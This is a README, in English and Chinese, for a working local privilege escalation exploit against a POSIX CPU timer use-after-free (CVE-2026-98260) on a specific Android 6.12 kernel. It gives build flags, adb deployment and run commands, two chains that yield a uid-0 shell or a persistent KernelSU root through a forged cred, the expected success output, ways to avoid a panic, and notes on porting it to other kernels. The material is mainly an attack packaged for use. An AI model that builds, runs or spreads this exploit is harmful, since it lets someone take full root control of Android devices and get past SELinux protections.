CVE-2026-98260 Timer LPE

CVE-2026-98260 POSIX CPU timer UAF port for 6.12.69-android16-6-g242e1a07f878

Two chains:

• timer：真实 cred 零写 → uid=0、u:r:shell:s0（shell 域 root，bset caps）
• timer fake：fake cred（full caps）→ 安装版 KernelSU libksud.so late-load

Status

路径	结果
real cred 零写 + setuid(0) + exec sh	uid=0、u:r:shell:s0、ROOT_SHELL_OK
fake cred + ksud late-load	安装版 libksud.so（uapi 6）、KSU_LOADED、su 为 u:r:ksu:s0

Environment

• Launch identity: adb/shell (uid 2000, u:r:shell:s0), can read tracefs and /proc/slabinfo
• When the KernelSU manager is installed (me.weishu.kernelsu), fake automatically uses its lib/arm64/libksud.so

Build

NDK 28.2 (aarch64, API 35):

cd timer
NDK=~/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
$NDK/aarch64-linux-android35-clang -O2 -std=gnu11 -static \
    -fno-stack-protector -fno-pic -I. \
    -ffunction-sections -fdata-sections timer.c -o timer \
    -Wl,--gc-sections -Wl,-s -Wl,--build-id=none \
    -Wl,-z,norelro -pthread

Usage

adb push timer /data/local/tmp/timer
adb shell chmod 755 /data/local/tmp/timer

# Diagnostics
adb shell /data/local/tmp/timer ids     # probe tracefs page event id
adb shell /data/local/tmp/timer leak    # only perform base/cred/task leak, do not trigger UAF

# uid-0 shell（真实 cred）
adb shell /data/local/tmp/timer         # id + context + ROOT_SHELL_OK
adb shell /data/local/tmp/timer shell   # 交互 sh

# KernelSU (fake cred + installed ksud)
adb shell 'cd /data/local/tmp && setsid ./timer fake >timer.log 2>&1 </dev/null &'
adb shell cat /data/local/tmp/timer.log

fake success indicators:

[ksu] ksud=.../lib/arm64/libksud.so version=ksud 3.3.1-24-g528bafc5 (uapi: 6)
KSU_LOADED
kernelsu ... Live

adb shell /system/bin/su -c id   # uid=0 ... context=u:r:ksu:s0

Safety

• On failure the state will park and hold a zombie; do not kill it, rebooting is the only safe cleanup
• After fake succeeds, the parent process also parks, holding the fake cred page via a socket
• After triggering the UAF, do not timeout/kill the parked process, otherwise init reclaiming the stale node may panic
• After a hard reboot, ksu root disappears; using KernelSU to simulate a soft reboot will not cause ksu root to disappear

Directory

timer/timer.c      exploit
timer/timer        static artifact
tools/*.c          port diagnostic source

Targets and Porting

Key constants are hardcoded in timer/timer.c: do_timer_create/copy_process sites, selinux_state, panic_on_warn, copy_process task cache size, init_* symbols

换内核时用设备的 boot.img/BTF/kallsyms 重新推导；tools/ 下的文件用于核对 call site、raw record、timer 泄漏与 8 KiB AF_UNIX 回收通道

References

• woshigenm/CVE-2026-98260 (MIT): trigger, real-cred zero write, fake cred/KSU approach
• ghostlock-app: KernelSU late-load final stage
• Other CVE-2026-98260 porting projects: order-1 reclaim and trigger timing